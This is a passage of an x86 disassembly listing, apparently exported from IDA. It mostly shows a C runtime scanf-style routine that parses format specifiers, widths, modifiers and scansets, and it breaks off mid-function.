; ---------------------------------------------------------------------------


loc_41D095:				; CODE XREF: sub_41D026+4Dj
					; sub_41D026+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_41D0A2:				; CODE XREF: sub_41D026+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41D0AF:				; CODE XREF: sub_41D026+10j
					; sub_41D026+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_41D026	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D0B3	proc near		; CODE XREF: sub_418B66+24p
					; sub_419F4C+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_41D0DD
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_41D0EE
		push	esi
		call	sub_41A76B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41D0DD:				; CODE XREF: sub_41D0B3+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_41D0EE
		push	eax
		call	sub_41A76B
		pop	ecx


loc_41D0EE:				; CODE XREF: sub_41D0B3+10j
					; sub_41D0B3+32j
		pop	esi
		retn
sub_41D0B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D0F0	proc near		; CODE XREF: sub_4193A5+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_41DAF6
		mov	edi, [ebp+arg_0]
		jmp	short loc_41D11F
; ---------------------------------------------------------------------------


loc_41D11A:				; CODE XREF: sub_41D0F0+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_41D11F:				; CODE XREF: sub_41D0F0+28j
		cmp	dword_43F494, 1
		jle	short loc_41D137
		movzx	eax, al
		push	8
		push	eax
		call	sub_41C0F5
		pop	ecx
		pop	ecx
		jmp	short loc_41D146
; ---------------------------------------------------------------------------


loc_41D137:				; CODE XREF: sub_41D0F0+36j
		mov	ecx, off_43F288
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41D146:				; CODE XREF: sub_41D0F0+45j
		cmp	eax, ebx
		jz	short loc_41D180
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_41DB7D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41DB66
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41A252
		add	esp, 0Ch


loc_41D16E:				; CODE XREF: sub_41D0F0+8Ej
		test	eax, eax
		jz	short loc_41D180
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41A252
		pop	ecx
		jmp	short loc_41D16E
; ---------------------------------------------------------------------------


loc_41D180:				; CODE XREF: sub_41D0F0+58j
					; sub_41D0F0+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_41DA62
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_41D1B7:				; CODE XREF: sub_41D0F0+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43F494, 1
		jle	short loc_41D1D4
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41C0F5
		pop	ecx
		pop	ecx
		jmp	short loc_41D1E3
; ---------------------------------------------------------------------------


loc_41D1D4:				; CODE XREF: sub_41D0F0+D3j
		mov	ecx, off_43F288
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41D1E3:				; CODE XREF: sub_41D0F0+E2j
		test	eax, eax
		jz	short loc_41D1F9
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_41D25E
; ---------------------------------------------------------------------------


loc_41D1F9:				; CODE XREF: sub_41D0F0+F5j
		cmp	ebx, 4Eh
		jg	short loc_41D23C
		jz	short loc_41D25E
		cmp	ebx, 2Ah
		jz	short loc_41D237
		cmp	ebx, 46h
		jz	short loc_41D25E
		cmp	ebx, 49h
		jz	short loc_41D219
		cmp	ebx, 4Ch
		jnz	short loc_41D24B
		inc	[ebp+var_D]
		jmp	short loc_41D25E
; ---------------------------------------------------------------------------


loc_41D219:				; CODE XREF: sub_41D0F0+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_41D24B
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_41D24B
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_41D25E
; ---------------------------------------------------------------------------


loc_41D237:				; CODE XREF: sub_41D0F0+113j
		inc	[ebp+var_E]
		jmp	short loc_41D25E
; ---------------------------------------------------------------------------


loc_41D23C:				; CODE XREF: sub_41D0F0+10Cj
		cmp	ebx, 68h
		jz	short loc_41D258
		cmp	ebx, 6Ch
		jz	short loc_41D250
		cmp	ebx, 77h
		jz	short loc_41D253


loc_41D24B:				; CODE XREF: sub_41D0F0+122j
					; sub_41D0F0+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_41D25E
; ---------------------------------------------------------------------------


loc_41D250:				; CODE XREF: sub_41D0F0+154j
		inc	[ebp+var_D]


loc_41D253:				; CODE XREF: sub_41D0F0+159j
		inc	[ebp+var_5]
		jmp	short loc_41D25E
; ---------------------------------------------------------------------------


loc_41D258:				; CODE XREF: sub_41D0F0+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_41D25E:				; CODE XREF: sub_41D0F0+107j
					; sub_41D0F0+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_41D1B7
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_41D283
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_41D283:				; CODE XREF: sub_41D0F0+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_41D2A1
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_41D29D
		cmp	al, 43h
		jz	short loc_41D29D
		or	[ebp+var_5], 0FFh
		jmp	short loc_41D2A1
; ---------------------------------------------------------------------------


loc_41D29D:				; CODE XREF: sub_41D0F0+1A1j
					; sub_41D0F0+1A5j
		mov	[ebp+var_5], 1


loc_41D2A1:				; CODE XREF: sub_41D0F0+19Bj
					; sub_41D0F0+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_41D2DA
		cmp	esi, 63h
		jz	short loc_41D2CB
		cmp	esi, 7Bh
		jz	short loc_41D2CB
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_41DB7D
		pop	ecx
		jmp	short loc_41D2D6
; ---------------------------------------------------------------------------


loc_41D2CB:				; CODE XREF: sub_41D0F0+1C5j
					; sub_41D0F0+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41DB4C


loc_41D2D6:				; CODE XREF: sub_41D0F0+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_41D2DA:				; CODE XREF: sub_41D0F0+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_41D2EA
		cmp	[ebp+var_C], eax
		jz	loc_41DAC6


loc_41D2EA:				; CODE XREF: sub_41D0F0+1EFj
		cmp	esi, 6Fh
		jg	loc_41D551
		jz	loc_41D803
		cmp	esi, 63h
		jz	loc_41D52E
		cmp	esi, 64h
		jz	loc_41D803
		jle	loc_41D57B
		cmp	esi, 67h
		jle	short loc_41D34E
		cmp	esi, 69h
		jz	short loc_41D336
		cmp	esi, 6Eh
		jnz	loc_41D57B
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_41DA31
		jmp	loc_41DA57
; ---------------------------------------------------------------------------


loc_41D336:				; CODE XREF: sub_41D0F0+229j
		push	64h
		pop	esi


loc_41D339:				; CODE XREF: sub_41D0F0+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_41D5C3
		mov	[ebp+var_17], 1
		jmp	loc_41D5C8
; ---------------------------------------------------------------------------


loc_41D34E:				; CODE XREF: sub_41D0F0+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_41D36A
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_41D36F
; ---------------------------------------------------------------------------


loc_41D36A:				; CODE XREF: sub_41D0F0+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_41D386


loc_41D36F:				; CODE XREF: sub_41D0F0+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_41DB4C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41D389
; ---------------------------------------------------------------------------


loc_41D386:				; CODE XREF: sub_41D0F0+27Dj
		mov	edi, [ebp+arg_0]


loc_41D389:				; CODE XREF: sub_41D0F0+294j
		cmp	[ebp+var_20], 0
		jz	short loc_41D398
		cmp	[ebp+var_C], 15Dh
		jle	short loc_41D39F


loc_41D398:				; CODE XREF: sub_41D0F0+29Dj
		mov	[ebp+var_C], 15Dh


loc_41D39F:				; CODE XREF: sub_41D0F0+2A6j
					; sub_41D0F0+2F2j
		cmp	dword_43F494, 1
		jle	short loc_41D3B4
		push	4
		push	ebx
		call	sub_41C0F5
		pop	ecx
		pop	ecx
		jmp	short loc_41D3BF
; ---------------------------------------------------------------------------


loc_41D3B4:				; CODE XREF: sub_41D0F0+2B6j
		mov	eax, off_43F288
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41D3BF:				; CODE XREF: sub_41D0F0+2C2j
		test	eax, eax
		jz	short loc_41D3E4
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41D3E4
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41DB4C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41D39F
; ---------------------------------------------------------------------------


loc_41D3E4:				; CODE XREF: sub_41D0F0+2D1j
					; sub_41D0F0+2DBj
		cmp	byte_43F498, bl
		jnz	short loc_41D452
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41D452
		inc	[ebp+var_4]
		push	edi
		call	sub_41DB4C
		mov	ebx, eax
		mov	al, byte_43F498
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_41D40D:				; CODE XREF: sub_41D0F0+360j
		cmp	dword_43F494, 1
		jle	short loc_41D422
		push	4
		push	ebx
		call	sub_41C0F5
		pop	ecx
		pop	ecx
		jmp	short loc_41D42D
; ---------------------------------------------------------------------------


loc_41D422:				; CODE XREF: sub_41D0F0+324j
		mov	eax, off_43F288
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41D42D:				; CODE XREF: sub_41D0F0+330j
		test	eax, eax
		jz	short loc_41D452
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41D452
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41DB4C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41D40D
; ---------------------------------------------------------------------------


loc_41D452:				; CODE XREF: sub_41D0F0+2FAj
					; sub_41D0F0+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_41D4EA
		cmp	ebx, 65h
		jz	short loc_41D46A
		cmp	ebx, 45h
		jnz	loc_41D4EA


loc_41D46A:				; CODE XREF: sub_41D0F0+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41D4EA
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41DB4C
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_41D491
		mov	[esi], al
		inc	esi
		jmp	short loc_41D496
; ---------------------------------------------------------------------------


loc_41D491:				; CODE XREF: sub_41D0F0+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_41D4B4


loc_41D496:				; CODE XREF: sub_41D0F0+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_41D4A5
		and	[ebp+var_C], eax
		jmp	short loc_41D4B4
; ---------------------------------------------------------------------------


loc_41D4A5:				; CODE XREF: sub_41D0F0+3AEj
					; sub_41D0F0+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_41DB4C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41D4B4:				; CODE XREF: sub_41D0F0+3A4j
					; sub_41D0F0+3B3j
		cmp	dword_43F494, 1
		jle	short loc_41D4C9
		push	4
		push	ebx
		call	sub_41C0F5
		pop	ecx
		pop	ecx
		jmp	short loc_41D4D4
; ---------------------------------------------------------------------------


loc_41D4C9:				; CODE XREF: sub_41D0F0+3CBj
		mov	eax, off_43F288
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41D4D4:				; CODE XREF: sub_41D0F0+3D7j
		test	eax, eax
		jz	short loc_41D4EA
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41D4EA
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_41D4A5
; ---------------------------------------------------------------------------


loc_41D4EA:				; CODE XREF: sub_41D0F0+366j
					; sub_41D0F0+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41DB66
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_41DAF6
		cmp	[ebp+var_E], 0
		jnz	loc_41DA57
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43F838
		add	esp, 0Ch
		jmp	loc_41DA57
; ---------------------------------------------------------------------------


loc_41D52E:				; CODE XREF: sub_41D0F0+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_41D53D
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_41D53D:				; CODE XREF: sub_41D0F0+441j
		cmp	[ebp+var_5], 0
		jle	short loc_41D547
		mov	[ebp+var_16], 1


loc_41D547:				; CODE XREF: sub_41D0F0+451j
		mov	edi, offset dword_43F710
		jmp	loc_41D65C
; ---------------------------------------------------------------------------


loc_41D551:				; CODE XREF: sub_41D0F0+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_41D7FF
		sub	eax, 3
		jz	loc_41D64D
		dec	eax
		dec	eax
		jz	loc_41D803
		sub	eax, 3
		jz	loc_41D339
		sub	eax, 3
		jz	short loc_41D59F


loc_41D57B:				; CODE XREF: sub_41D0F0+21Bj
					; sub_41D0F0+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_41DAC6
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_41DA57
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_41DA57
; ---------------------------------------------------------------------------


loc_41D59F:				; CODE XREF: sub_41D0F0+489j
		cmp	[ebp+var_5], 0
		jle	short loc_41D5A9
		mov	[ebp+var_16], 1


loc_41D5A9:				; CODE XREF: sub_41D0F0+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_41D660
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_41D65C
; ---------------------------------------------------------------------------


loc_41D5C3:				; CODE XREF: sub_41D0F0+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_41D5EA


loc_41D5C8:				; CODE XREF: sub_41D0F0+259j
		dec	[ebp+var_C]
		jnz	short loc_41D5D9
		cmp	[ebp+var_20], 0
		jz	short loc_41D5D9
		mov	[ebp+var_F], 1
		jmp	short loc_41D5EA
; ---------------------------------------------------------------------------


loc_41D5D9:				; CODE XREF: sub_41D0F0+4DBj
					; sub_41D0F0+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41DB4C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41D5EA:				; CODE XREF: sub_41D0F0+4D6j
					; sub_41D0F0+4E7j
		cmp	ebx, 30h
		jnz	loc_41D838
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41DB4C
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_41D638
		cmp	bl, 58h
		jz	short loc_41D638
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_41D622
		push	6Fh


loc_41D61C:				; CODE XREF: sub_41D0F0+55Bj
		pop	esi
		jmp	loc_41D838
; ---------------------------------------------------------------------------


loc_41D622:				; CODE XREF: sub_41D0F0+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41DB66
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_41D835
; ---------------------------------------------------------------------------


loc_41D638:				; CODE XREF: sub_41D0F0+517j
					; sub_41D0F0+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41DB4C
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_41D61C
; ---------------------------------------------------------------------------


loc_41D64D:				; CODE XREF: sub_41D0F0+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_41D657
		mov	[ebp+var_16], 1


loc_41D657:				; CODE XREF: sub_41D0F0+561j
		mov	edi, offset dword_43F708


loc_41D65C:				; CODE XREF: sub_41D0F0+45Cj
					; sub_41D0F0+4CEj
		or	[ebp+var_18], 0FFh


loc_41D660:				; CODE XREF: sub_41D0F0+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41D684
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_41D684
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_41D687
; ---------------------------------------------------------------------------


loc_41D684:				; CODE XREF: sub_41D0F0+584j
					; sub_41D0F0+589j
		mov	dl, [ebp+var_35]


loc_41D687:				; CODE XREF: sub_41D0F0+592j
					; sub_41D0F0+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_41D6EC
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_41D6D3
		test	dl, dl
		jz	short loc_41D6D3
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_41D6D3
		inc	edi
		cmp	dl, cl
		jnb	short loc_41D6A6
		mov	al, cl
		jmp	short loc_41D6AA
; ---------------------------------------------------------------------------


loc_41D6A6:				; CODE XREF: sub_41D0F0+5B0j
		mov	al, dl
		mov	dl, cl


loc_41D6AA:				; CODE XREF: sub_41D0F0+5B4j
		cmp	dl, al
		ja	short loc_41D6CF
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_41D6B7:				; CODE XREF: sub_41D0F0+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_41D6B7


loc_41D6CF:				; CODE XREF: sub_41D0F0+5BCj
		xor	dl, dl
		jmp	short loc_41D687
; ---------------------------------------------------------------------------


loc_41D6D3:				; CODE XREF: sub_41D0F0+5A0j
					; sub_41D0F0+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_41D687
; ---------------------------------------------------------------------------


loc_41D6EC:				; CODE XREF: sub_41D0F0+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_41DAF6
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41D6FE
		mov	[ebp+arg_4], edi


loc_41D6FE:				; CODE XREF: sub_41D0F0+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_41DB66
		pop	ecx
		pop	ecx


loc_41D715:				; CODE XREF: sub_41D0F0+6BCj
					; sub_41D0F0+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_41D729
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_41D7C5


loc_41D729:				; CODE XREF: sub_41D0F0+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_41DB4C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_41D7B9
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_41D7B9
		cmp	[ebp+var_E], 0
		jnz	short loc_41D7B1
		cmp	[ebp+var_16], 0
		jz	short loc_41D7A6
		mov	ecx, off_43F288
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41D785
		inc	[ebp+var_4]
		push	edi
		call	sub_41DB4C
		pop	ecx
		mov	[ebp+var_37], al


loc_41D785:				; CODE XREF: sub_41D0F0+686j
		push	dword_43F494
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_420ACB
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_41D7A9
; ---------------------------------------------------------------------------


loc_41D7A6:				; CODE XREF: sub_41D0F0+673j
		mov	[esi], al
		inc	esi


loc_41D7A9:				; CODE XREF: sub_41D0F0+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_41D715
; ---------------------------------------------------------------------------


loc_41D7B1:				; CODE XREF: sub_41D0F0+66Dj
		inc	[ebp+var_30]
		jmp	loc_41D715
; ---------------------------------------------------------------------------


loc_41D7B9:				; CODE XREF: sub_41D0F0+649j
					; sub_41D0F0+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41DB66
		pop	ecx
		pop	ecx


loc_41D7C5:				; CODE XREF: sub_41D0F0+633j
		cmp	[ebp+var_30], esi
		jz	loc_41DAF6
		cmp	[ebp+var_E], 0
		jnz	loc_41DA57
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_41DA57
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41D7F7
		and	word ptr [eax],	0
		jmp	loc_41DA57
; ---------------------------------------------------------------------------


loc_41D7F7:				; CODE XREF: sub_41D0F0+6FCj
		and	byte ptr [eax],	0
		jmp	loc_41DA57
; ---------------------------------------------------------------------------


loc_41D7FF:				; CODE XREF: sub_41D0F0+466j
		mov	[ebp+var_D], 1


loc_41D803:				; CODE XREF: sub_41D0F0+203j
					; sub_41D0F0+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_41D811
		mov	[ebp+var_17], 1
		jmp	short loc_41D816
; ---------------------------------------------------------------------------


loc_41D811:				; CODE XREF: sub_41D0F0+719j
		cmp	ebx, 2Bh
		jnz	short loc_41D838


loc_41D816:				; CODE XREF: sub_41D0F0+71Fj
		dec	[ebp+var_C]
		jnz	short loc_41D827
		cmp	[ebp+var_20], 0
		jz	short loc_41D827
		mov	[ebp+var_F], 1
		jmp	short loc_41D838
; ---------------------------------------------------------------------------


loc_41D827:				; CODE XREF: sub_41D0F0+729j
					; sub_41D0F0+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41DB4C
		pop	ecx
		mov	ebx, eax


loc_41D835:				; CODE XREF: sub_41D0F0+543j
		mov	[ebp+var_14], ebx


loc_41D838:				; CODE XREF: sub_41D0F0+4FDj
					; sub_41D0F0+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_41D951
		cmp	[ebp+var_F], 0
		jnz	loc_41D92F


loc_41D84C:				; CODE XREF: sub_41D0F0+82Cj
		cmp	esi, 78h
		jnz	short loc_41D8A0
		cmp	dword_43F494, 1
		jle	short loc_41D869
		push	80h
		push	ebx
		call	sub_41C0F5
		pop	ecx
		pop	ecx
		jmp	short loc_41D876
; ---------------------------------------------------------------------------


loc_41D869:				; CODE XREF: sub_41D0F0+768j
		mov	eax, off_43F288
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_41D876:				; CODE XREF: sub_41D0F0+777j
		test	eax, eax
		jz	loc_41D921
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_420BA0
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_41DB15
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41D8F3
; ---------------------------------------------------------------------------


loc_41D8A0:				; CODE XREF: sub_41D0F0+75Fj
		cmp	dword_43F494, 1
		jle	short loc_41D8B5
		push	4
		push	ebx
		call	sub_41C0F5
		pop	ecx
		pop	ecx
		jmp	short loc_41D8C0
; ---------------------------------------------------------------------------


loc_41D8B5:				; CODE XREF: sub_41D0F0+7B7j
		mov	eax, off_43F288
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41D8C0:				; CODE XREF: sub_41D0F0+7C3j
		test	eax, eax
		jz	short loc_41D921
		cmp	esi, 6Fh
		jnz	short loc_41D8DE
		cmp	ebx, 38h
		jge	short loc_41D921
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_420BA0
		jmp	short loc_41D8ED
; ---------------------------------------------------------------------------


loc_41D8DE:				; CODE XREF: sub_41D0F0+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41A010


loc_41D8ED:				; CODE XREF: sub_41D0F0+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_41D8F3:				; CODE XREF: sub_41D0F0+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_41D90B
		dec	[ebp+var_C]
		jz	short loc_41D92F


loc_41D90B:				; CODE XREF: sub_41D0F0+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41DB4C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41D84C
; ---------------------------------------------------------------------------


loc_41D921:				; CODE XREF: sub_41D0F0+788j
					; sub_41D0F0+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41DB66
		pop	ecx
		pop	ecx


loc_41D92F:				; CODE XREF: sub_41D0F0+756j
					; sub_41D0F0+819j
		cmp	[ebp+var_17], 0
		jz	loc_41DA15
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
